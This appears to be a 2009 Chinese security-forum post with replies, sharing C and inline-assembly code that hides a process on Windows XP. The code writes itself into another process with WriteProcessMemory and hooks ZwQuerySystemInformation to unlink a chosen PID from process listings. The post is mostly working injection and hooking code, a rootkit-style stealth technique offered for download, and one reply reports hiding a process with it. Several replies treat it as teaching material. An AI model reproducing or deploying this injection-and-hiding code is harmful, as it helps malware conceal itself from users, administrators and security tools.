首页
论坛
专栏
课程

[分享]Ring3 ZwQuerySystemInformation Hook(HideProcess)

2009-6-15 12:31 8743

[分享]Ring3 ZwQuerySystemInformation Hook(HideProcess)

2009-6-15 12:31
8743
潜水时间太久了,看到N多高手都出手了,我想我也应该写点菜鸟级的东西给一些比我更菜鸟的人看看吧,高手就飘过吧。

此文章是由于最近经常看到有初学者提到类似或者相关问题,所以希望此篇文章能给一些初学者提供帮助.但是由于时间问题代码写得很仓促,可能存在问题希望见谅。我只在我的本机上简单的测试了一下,没什么问题。环境是xp sp2。需要注意的是在Debug版本中可能会存在问题,因为在使用WriteProcessMemory的时候可能会把int 3拷贝过去,所以大家要使用最好使用Release版。先帖点主要代码,完整代码请下载附件。
__declspec (naked) VOID FunStart(){};

__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
	//这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是无个字节
	_asm{
		nop
		nop
		nop
		nop
		nop
		mov ebx,0x88888888 //ZwQuerySystemInformation  方便特征定位
		add ebx,5
		jmp ebx
	}
}

NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
								 IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
								 OUT PVOID SystemInformation,
								 IN ULONG SystemInformationLength,
								 OUT PULONG ReturnLength OPTIONAL
								 )
{
	NTSTATUS ntStatus;
	PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
	
	_asm{
		push ebx
		push ReturnLength
		push SystemInformationLength
		push SystemInformation
		push SystemInformationClass
		call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
		mov ntStatus,eax
		pop ebx
	}

	if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
	{
		pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
		while (TRUE)
		{
			if (pSystemProcesses->ProcessId==0x12345678) //如果是我们需要隐藏的PID就进行数据修改
			{
				if (pSystemProcesses->NextEntryDelta)
				{
					//当我们需要隐藏的进程后面还有进程时
					//越过我们自己进程让NextEntryDelta直接指向下一个数据块
					Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
				}
				else
				{
					//当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
					//这时系统在遍历我们进程时就不会发现了
					Prev->NextEntryDelta=0;
				}
				break;
			}
			if (!pSystemProcesses->NextEntryDelta) break;
			Prev=pSystemProcesses;
			pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
		}
	}
	return ntStatus;
}

__declspec (naked) VOID FunEnd(){};

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
	BOOLEAN bRet=FALSE;
	DWORD OldProtect;
	DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
	BYTE HookCode[5]={0xE9,0,0,0,0};
	HANDLE hProcess=NULL;
	PVOID RemoteAllocBase=NULL;
	DWORD dwFunAddress;
	PUCHAR pBuffer;

	dwCodeStart = GetFunAddress((PUCHAR)FunStart);
	dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
	dwCodeSize = dwCodeEnd-dwCodeStart;

	hProcess = OpenProcess(PROCESS_ALL_ACCESS,
						   FALSE,
						   dwProcessId
						   );

	if (hProcess)
	{
		RemoteAllocBase = VirtualAllocEx(hProcess,
										 NULL,
										 dwCodeSize,
										 MEM_COMMIT,
										 PAGE_EXECUTE_READWRITE
										 );
		if (RemoteAllocBase)
		{
			printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
			g_lpRemoteAllocBase = RemoteAllocBase;
			if (ZwQuerySystemInformation)
			{
				bRet=VirtualProtect((PVOID)dwCodeStart,
									dwCodeSize,
									PAGE_EXECUTE_READWRITE,
									&OldProtect
									);
				if (bRet)
				{
					memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
					*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
					*HookCode=0xE9;
					dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
					dwFunAddress -= dwCodeStart;
					dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址
					printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n",dwFunAddress);
					*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

					dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
					for (pBuffer=(PUCHAR)dwFunAddress;
						 pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
						 pBuffer++
					     )
					{
						if (*(DWORD *)pBuffer==0x12345678)
						{
							*(DWORD *)pBuffer = dwHideId;
							break;
						}
					}
					VirtualProtect((PVOID)dwCodeStart,
								   dwCodeSize,
								   PAGE_EXECUTE_READWRITE,
								   &OldProtect
								   );
				}
			}
			bRet=WriteProcessMemory(hProcess,
									RemoteAllocBase,
									(PVOID)dwCodeStart,
									dwCodeSize,
									NULL
									);
			if (bRet)
			{
				bRet=WriteProcessMemory(hProcess,
										ZwQuerySystemInformation,
										HookCode,
										5,
										NULL
										);
			}
		}
		CloseHandle(hProcess);
	}
	return bRet;
}

BOOLEAN UnHook(DWORD dwProcessId)
{
	HANDLE hProcess=NULL;
	BOOLEAN bRet=FALSE;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,
						   FALSE,
						   dwProcessId
						   );
	
	if (hProcess)
	{
		bRet = WriteProcessMemory(hProcess,
								  ZwQuerySystemInformation,
								  g_lpRemoteAllocBase,
								  5,
								  NULL
								  );
		/*VirtualFreeEx(hProcess,
					  g_lpRemoteAllocBase,
					  0,
					  MEM_RELEASE
					  );*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃
	}
	return bRet;
}


[公告][征集寄语] 看雪20周年年会 | 感恩有你,一路同行

上传的附件:
最新回复 (9)
PEBOSS 2009-6-15 12:44
2
0
太强大了.感谢楼主的代码
菊冬 2009-6-15 13:46
3
0
没看出哪里强大.
qydao 2009-6-15 21:38
4
0
有点强大,虽然代码运行出错了,但思路不错,我抄过来竟然成功了,完善实现了进程隐藏
菊冬 2009-6-15 22:42
5
0
这样隐藏有什么用啊...?
没用, 一阵枚举也能出来,
玩进程?太古老了...
aliwy 2009-6-15 23:26
6
0
整点有建设性的回复啊~
achillis 15 2009-6-16 08:22
7
0
有教学价值,没有实用意义~
网络游侠 2009-6-25 12:21
8
0
暴力搜epr,直接爆出进程,没多大实际意义,教学还是可以的。。
wsslcj 2010-4-10 18:29
9
0
谢谢分享,正在学习这方面的东西.
SunV 2010-8-29 23:19
10
0
思路清晰,支持一个
游客
登录 | 注册 方可回帖
返回